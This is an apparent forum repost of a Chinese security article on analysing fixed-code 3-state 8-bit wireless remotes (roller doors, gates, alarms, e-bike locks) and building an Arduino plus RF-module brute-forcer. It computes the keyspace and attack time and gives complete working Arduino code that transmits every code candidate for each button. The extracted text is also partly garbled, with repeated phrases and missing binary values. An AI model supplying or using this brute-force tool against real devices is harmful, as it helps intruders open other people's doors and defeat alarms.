搜索

[11011] 2017-02-10_分析无线遥控器信号并制作Hack硬件进行攻击

文档创建者：s7ckTeam
浏览次数：30
最后更新：2025-01-18
2017-02-10_分析无线遥控器信号并制作Hack硬件进行攻击 分 析 无 线 遥 控 器 信 号 并 制 作 H a c k 硬 件 进 行 攻 击 Z M O M 1 0 3 1   F r e e B u f   2 0 1 7 - 0 2 - 1 0 * 原 创 作 者 ： Z M O M 1 0 3 1 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载         无 线 遥 控 器 （ 无 线 电 遥 控 器 ） 在 我 们 生 活 中 非 常 常 见 ， 应 用 于 无 线 遥 控 器 （ 无 线 电 遥 控 器 ） 在 我 们 生 活 中 非 常 常 见 ， 应 用 于 各 种 场 景 ， 方 便 着 用 户 的 使 用 。 不 过 大 多 数 还 是 用 于 安 防 方 各 种 场 景 ， 方 便 着 用 户 的 使 用 。 不 过 大 多 数 还 是 用 于 安 防 方 面 的 ， 比 如 面 的 ， 比 如 :   遥 控 报 警 器 、 电 动 卷 帘 门 、 电 动 伸 缩 门 、 遥 控 电 开 关 、 无 线 遥 控 门 铃 遥 控 报 警 器 、 电 动 卷 帘 门 、 电 动 伸 缩 门 、 遥 控 电 开 关 、 无 线 遥 控 门 铃 … … 1 、 无 线 遥 控 器 简 介 、 无 线 遥 控 器 简 介 无 线 遥 控 器 从 安 全 角 度 看 大 致 分 为 两 类 ， 一 类 是 最 普 遍 的 固 定 码 遥 控 器 ， 特 点 是 廉 价 、 应 用 广 泛 、 市 场 大 、 用 户 多 ； 另 一 类 是 滚 动 码 遥 控 器 ， 特 点 是 价 格 较 贵 、 相 对 比 较 安 全 、 用 于 汽 车 安 全 防 盗 等 安 全 要 求 较 高 的 地 方 。 固 定 码 遥 控 器 有 很 多 种 编 码 方 式 ， 国 内 常 见 的 是   3   态   8   位 的 编 码 或 者 厂 商 出 厂 时 烧 录 的 随 机 码 。 滚 动 码 这 里 不 做 讲 解 ， 我 都 还 得 到 这 类 遥 控 器 ， 滚 动 码 相 对 来 说 比 较 安 全 ， 但 也 并 非 绝 对 安 全 ， 你 的 汽 车 用 到 就 是 滚 动 码 遥 控 器 ， 然 而 盗 贼 在   N   年 前 就 能 买 到 干 扰 破 解 你 汽 车 防 盗 的 设 备 了 。 无 线 遥 控 器 从 信 号 调 制 方 式 可 以 大 致 分 成   O O K   和   F S K   两 种 方 式 ， 当 然 这 只 是 常 见 的 ， 还 有 其 他 的 信 号 调 制 方 式 。 2 、 三 态 八 位 遥 控 器 、 三 态 八 位 遥 控 器 3   态   8   位 遥 控 器 是 我 们 常 见 的 遥 控 器 ， 它 属 于 固 定 码 遥 控 器 。 在 电 瓶 车 防 盗 器 、 电 动 卷 帘 门 、 电 动 伸 缩 门 、 遥 控 电 开 关 、 无 线 遥 控 门 铃 这 些 应 用 中 都 能 见 到 这 种 遥 控 器 ， 因 为 这 种 遥 控 器 很 廉 价 。
2 . 1   什 么 是 三 态 八 位 遥 控 器 ？ 什 么 是 三 态 八 位 遥 控 器 ？ 3   态   8   位 遥 控 器 顾 名 思 义 ， 它 有   3   种 码 位 状 态   8   个 码 位 。 二 进 制 是 由     和     组 成 的 ， 所 以   2   位 ( b i t ) 长 的 二 进 制 有   4   种 可 能 性           ，   3   态   8   位 遥 控 器 使 用 的 是 这 其 中 的   3   种         这 是   3   态 。 8   位 是 指 有   8 个 编 码 位 ， 每 个 编 码 位 可 使 用   3   态 中 的 任 意 一 种 ， 所 以 是     总 共   1 6   位 ( b i t ) 长 的 二 进 制 ， 但 是 常 见 的 无 线 遥 控 器 是 的 数 据 长 度 是   2 4   位 ( b i t ) ， 因 为 后   8   位 ( b i t ) 是 定 义 按 键 值 的 （ 如 果 你 对 信 号 解 码 出 来 的 是   2 5   位 ( b i t ) 长 ， 你 可 以 除 去 末 尾 的     ； 如 果 是   2 5   位 ( b i t ) 长 ， 末 尾 的 是     这 可 能 是 你 解 码 错 了 ） 。 常 见 的   4   键 遥 控 器 的 的 每 个 键 值 都 是 出 厂 就 固 定 了 的 ， 分 别 是               2 . 2   厂 商 烧 录 的 固 定 码 厂 商 烧 录 的 固 定 码 如 果 你 的 固 定 码 遥 控 器 解 码 后 的 二 进 制 中 有 一 对     码 （ 注 意 是 一 对 ， 前 一 对 的 后     跟 后 一 对 的 前     组 成 的     是 不 算 的 ） 这 说 明 你 的 遥 控 器 不 属 于   3   态   8   位 遥 控 器 ， 是 厂 商 出 厂 时 烧 录 的 固 定 码 ， 这 种 遥 控 器 的 后   8   位 ( b i t ) 按 键 值 也 不 一 定 是 标 准 的   4   种 可 能 性 。 0 1 0 0 0 1 1 0 1 1 0 0 0 1 1 1 2   *   8   =   1 6 0 1 1 1 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 1 1 1 0 1 0 1 0
这 类 固 定 码 遥 控 器 的 接 收 端 一 般 都 是 学 习 行 的 ， 会 有 一 个 学 习 键 。 作 用 是 配 对 新 的 遥 控 器 ， 如 果 当 前 遥 控 器 坏 了 ， 你 可 以 买 个 同 类 型 的 遥 控 器 ， 长 按 学 习 键 再 按 遥 控 器 ， 就 可 以 学 习 到 新 遥 控 器 的 编 码 的 信 息 ， 这 样 你 就 能 继 续 使 用 了 。 2 . 3   辨 别 是 否 是 三 态 八 位 辨 别 是 否 是 三 态 八 位 辨 别 是 否 是   3   态   8   位 遥 控 器 最 靠 谱 的 方 法 就 是 拆 开 来 看   P C B   板 子 ， 有   3   排   8   列 焊 盘 的 肯 定 是 ， 否 则 就 不 是 ， 使 用   3   态   8   位 拨 码 开 关 的 也 是 。 2 . 4   三 态 八 位 遥 控 器 编 码 三 态 八 位 遥 控 器 编 码 国 内 常 见 的 编 码 方 法 都 是 直 接 焊 接   P C B   上 的 焊 盘 ， 极 少 使 用 拨 码 开 关 ， 节 省 成 本 ？ 当 然 你 也 能 买 到   3   态   8   位 的 拨 码 遥 控 器 。
从 上 图 中 可 以 看 出 总 共 有   3   排   8   列 焊 盘 ， 这 也 就 是   3   态 （ 上 中 下 ）   8   位 的 定 义 方 式 。 中 间 的 一 排 连 接 的 是 芯 片 的 引 脚 ， 当 芯 片 的 一 个 引 脚 与   H i g h   焊 接 上 后 产 生 的 编 码 是     与   L o w   焊 接 上 后 产 生 的 编 码 是     不 焊 接 的 默 认 编 码 是     。 编 码 是 成 对 的 ， 遥 控 器 上 是 这 个 编 码 ， 接 收 器 上 也 得 是 这 个 编 码 否 则 是 没 法 使 用 的 。 3 、 分 析 安 全 缺 陷 、 分 析 安 全 缺 陷 从 上 文 中 我 们 知 道 了 遥 控 器 的 二 进 制 编 码 长 度 是   2 4   位 ( b i t ) ， 前   1 6   位 ( b i t ) 是 由   3   态   8   位 编 码 方 式 定 义 的 ， 后   8   位 ( b i t ) 是 厂 商 固 定 死 的 的 按 键 值 。 一 个 遥 控 器 上 的 每 个 按 键 的 前   1 6   位 ( b i t ) 都 是 一 样 的 ， 后   8   位 ( b i t ) 是 不 一 样 的 ， 就   4   种 可 能 性 。 假 设 如 果 每 个 按 键 都 是 没 有 规 律 的 随 机 码 ， 那 么 你 想 通 过 暴 力 穷 举 出 正 确 的 编 码 ， 你 需 要 尝 试     总 共   1 6 7 7 7 2 1 6   种 可 能 性 。 假 设 后   8   位 ( b i t ) 是 固 定 的   4   种 可 能 性 ， 前         1 6   位 ( b i t ) 是 随 机 的 ， 那 你 只 需 要 尝 试 前   1 6   位 ( b i t ) 的 所 有 可 能 性 在 拼 接 上 后   8   位 ( b i t ) 的 固 定 值 ， 你 需 要 尝 试       每 个 按 键 总 共   6 5 5 3 6   种 可 能 性 。 由 于   3   态   8   位 里 是 没 有   1 1 0 0 0 1 2   ^   2 4   =   1 6 7 7 7 2 1 6 2   ^   1 6   =   6 5 5 3 6 4   ^   8   =   6 5 5 3 6 1 0
  码 的 ， 所 有 你 需 要 尝 试 的 次 数 是     每 个 按 键 总 共   6 5 6 1   种 可 能 性 。 知 道 了 暴 力 穷 举 攻 击 需 要 尝 试 的 次 数 后 我 们 再 来 算 一 下 需 要 的 时 间 ， 我 对 一 个 普 通 的 遥 控 器 做 信 号 发 送 的 采 集 ， 1 0   秒 钟 时 间 内 我 在 接 收 端 收 到 一 百 零 几 次 遥 控 信 号 ， 也 就 是 说 一 分 钟 至 少 可 以 发 送 （ 尝 试 ）   6 0 0   个 可 能 性 。 尝 试   2 4   位 ( b i t ) 长 度 的 所 有 组 合 所 需 的 时 间 是     2 7 9 6 2   分 钟 左 右 ， 大 概   2 0   天 不 到 。 尝 试   1 6   位 ( b i t ) 长 度 一 个 按 键 的 所 有 组 合 所 需 的 时 间 是     1 0 9   分 钟 左 右 ， 大 概 一 个 多 小 时 。 尝 试         3   态   8   位 一 个 按 键 的 所 有 组 合 所 需 的 时 间 是     大 概   1 1   分 钟 左 右 ！ ！ 那 么   S a m y   K a m k a r   在   8   秒 内 打 开 车 库 门 的   O p e n S e s a m e   项 目 是 怎 么 做 到 的 ？ 首 先   S a m y   K a m k a r   的 那 个 车 库 门 的 遥 控 器 并 非 是   3   态   8 位 的 ， 编 码 长 度 好 像 只 有   1 2   位 ( b i t ) ，     总 共   4 0 9 6   种 组 合 。 最 关 键 是 遥 控 设 备 的 接 收 端 使 用 的 是 移 位 寄 存 器 ， 所 以 使 用         D e   B r u i j n   序 列   即 可 在 非 常 短 的 时 间 内 完 成 所 有 可 能 性 的 尝 试 。 但 我 们 常 见 的   3   态   8   位 遥 控 设 备 的 接 收 端 用 得 并 非 是 移 位 寄 存 器 ， 所 以 没 法 使 用 D e   B r u i j n 序 列 实 现 暴 力 穷 举 攻 击 。 检 测 接 收 端 是 否 使 用 了 移 位 寄 存 器 的 一 个 方 法 是 在 正 确 的 编 码 前 加 个     。 如 果 使 用 了 移 位 寄 存 器 ， 那 么 会 跳 过 错 误 的 一 个 位 ( b i t ) 检 查 下 一 个 正 确 的 ， 并 给 予 响 应 。 如 果 没 使 用 移 位 寄 存 器 ， 那 么 什 么 反 应 都 没 有 ， 因 为 你 发 送 的 这 个 编 码 是 错 误 的 。 4 、 制 作 、 制 作   H a c k i n g   硬 件 硬 件 从 上 面 理 论 分 析 中 我 们 知 道 了 这 种 遥 控 设 备 所 存 在 的 其 中 一 个 缺 陷 ， 要 尝 试 利 用 这 个 缺 陷 实 现 对 设 备 的 攻 击 方 法 不 止 一 种 。 你 可 以 抱 着 你 的 笔 记 本 和   S D R   设 备 去 攻 击 它 ， 或 者 我 们 尝 试 制 作 自 己 的 便 捷 式 硬 件 来 利 用 这 个 缺 陷 实 现 对 设 备 的 攻 击 。 这 个 我 们 使 用   A r d u i n o   和   R F   模 块 实 现 攻 击 功 能 。 使 用   A r d u i n o   是 因 为 廉 价 、 易 上 手 ， 当 然 你 有 能 力 的 话 也 可 以 使 用 其 他 单 片 机 去 实 现 ， 或 者 自 己 设 计 电 路 ， 使 用 更 好 的   C C 1 1 1 1   芯 片 去 实 现   R F   功 能 。 4 . 1   硬 件 列 表 硬 件 列 表 A r d u i n o   P r o   M i c r o 3 1 5   M H z 或 4 3 3   M H z   无 线 模 块 轻 触 按 钮 1 0 K 电 阻 面 包 板 面 包 板 跳 线 4 . 2   硬 件 连 接 方 式 硬 件 连 接 方 式 1 0 3   ^   8   =   6 5 6 1 1 6 7 7 7 2 1 6   /   6 0 0   =   2 7 9 6 2 6 5 5 3 6   /   6 0 0   =   1 0 9 6 5 6 1   /   6 0 0   =   1 1 2   ^   1 2   =   4 0 9 6 0
4 . 3   功 能 代 码 功 能 代 码
/ *     B r u t e   F o r c e   A t t a c k   4   ^   8   R e m o t e   C o n t r o l h t t p s : / / g i t h u b . c o m / Z M O M 1 0 3 1 / b r u t e f o r c e 3 - 8 r e m o t e * / # i n c l u d e   < s t d i o . h > # i n c l u d e   < R C S w i t c h . h > R C S w i t c h   m y S w i t c h   =   R C S w i t c h ( ) ; / /   定 义   4   个 按 键 针 脚 c o n s t   i n t   b u t t o n _ a   =   1 0 ; c o n s t   i n t   b u t t o n _ b   =   1 6 ; c o n s t   i n t   b u t t o n _ c   =   1 4 ; c o n s t   i n t   b u t t o n _ d   =   1 5 ; i n t   b u t S t a t A   =   0 ; i n t   b u t S t a t B   =   0 ; i n t   b u t S t a t C   =   0 ; i n t   b u t S t a t D   =   0 ; i n t   d f a   =   2 5 6 ; v o i d   s e t u p ( )   {     S e r i a l . b e g i n ( 9 6 0 0 ) ;     m y S w i t c h . e n a b l e T r a n s m i t ( 9 ) ;         / /   定 义 发 送 模 块 的 数 据 传 输 针 脚     m y S w i t c h . s e t P u l s e L e n g t h ( 1 7 0 ) ;       / /   定 义 脉 冲 长 度 ， 这 个 值 具 体 看 你 使 用 的 遥 控 器 而 定     p i n M o d e ( b u t t o n _ a ,   I N P U T ) ;     p i n M o d e ( b u t t o n _ b ,   I N P U T ) ;     p i n M o d e ( b u t t o n _ c ,   I N P U T ) ;     p i n M o d e ( b u t t o n _ d ,   I N P U T ) ; } v o i d   l o o p ( )   {     / /   r e a d   t h e   s t a t e   o f   t h e   p u s h b u t t o n   v a l u e :     b u t S t a t A   =   d i g i t a l R e a d ( b u t t o n _ a ) ;     b u t S t a t B   =   d i g i t a l R e a d ( b u t t o n _ b ) ;     b u t S t a t C   =   d i g i t a l R e a d ( b u t t o n _ c ) ;     b u t S t a t D   =   d i g i t a l R e a d ( b u t t o n _ d ) ;     / /   B u t t o n   A     i f   ( b u t S t a t A   = =   H I G H )   {         / /   c h e c k   i f   t h e   p u s h b u t t o n   i s   p r e s s e d .         f o r   ( l o n g   i   =   0 ;   i   <   6 5 5 3 5 ;   i + +   ) {             l o n g   k e y   =   l o n g ( i   *   d f a )   +   i n t ( 1 9 2 ) ;             m y S w i t c h . s e n d ( k e y ,   2 4 ) ;         }     }     / /   B u t t o n   B     i f   ( b u t S t a t B   = =   H I G H )   {         f o r   ( l o n g   i   =   0 ;   i   <   6 5 5 3 5 ;   i + +   ) {             l o n g   k e y   =   l o n g ( i   *   d f a )   +   i n t ( 4 8 ) ;             m y S w i t c h . s e n d ( k e y ,   2 4 ) ;         }     }     / /   B u t t o n   C     i f   ( b u t S t a t C   = =   H I G H )   {         f o r   ( l o n g   i   =   0 ;   i   <   6 5 5 3 5 ;   i + +   ) {             l o n g   k e y   =   l o n g ( i   *   d f a )   +   i n t ( 1 2 ) ;             m y S w i t c h . s e n d ( k e y ,   2 4 ) ;         }     }     / /   B u t t o n   D     i f   ( b u t S t a t D   = =   H I G H )   {         f o r   ( l o n g   i   =   0 ;   i   <   6 5 5 3 5 ;   i + +   ) {             l o n g   k e y   =   l o n g ( i   *   d f a )   +   i n t ( 3 ) ;             m y S w i t c h . s e n d ( k e y ,   2 4 ) ;         }     } }
注 ： 这 段 代 码 实 现 的 是 发 送     的 所 有 可 能 性 。 生 成     的 所 有 可 能 性 的 算 法 我 还 没 实 现 ， 暂 时 也 没 时 间 去 继 续 研 究 如 何 实 现 了 ， 过 完 年 得 去 找 工 作 了 过 完 年 得 去 找 工 作 了 。 5 、 总 结 、 总 结 在 实 际 测 试 中 暴 力 穷 举 攻 击 确 实 是 有 效 的 ， 但 由 于 时 间 匆 忙 ， 硬 件 设 计 和 代 码 都 不 是 最 优 化 的 ， 所 攻 击 的 速 度 还 是 差 了 点 。 如 果 你 使 用 的 是 这 种 类 型 的 遥 控 设 备 也 不 用 担 心 会 这 么 样 。 b r u t e f o r c e 3 - 8 r e m o t e   这 个 项 目 后 续 还 会 更 新 ， 争 取 达 到 最 高 的 可 用 度 ， 还 会 再 加 一 些 功 能 。 目 前 我 得 先 去 忙 着 找 工 作 ， 才 是 正 事 。 未 来 还 会 研 究 一 些 其 他 的 硬 件 安 全 的 破 解 / 逆 向 项 目 的 。 最 后 感 谢 一 下 我 的 一 位 小 伙 伴 （ 匿 名 ） 给 的 一 些 帮 助 。 原 文 链 接 ： h t t p s : / / b l o g . i t e r n u l l . c o m / p o s t s / 2 0 1 7 / 0 2 / 0 4 / U s e - A r d u i n o - b r u t e - f o r c e - t o - a t t a c k - r e m o t e - c o n t r o l . h t m l * 原 创 作 者 ： Z M O M 1 0 3 1 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文 4   ^   8 3   ^   8
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理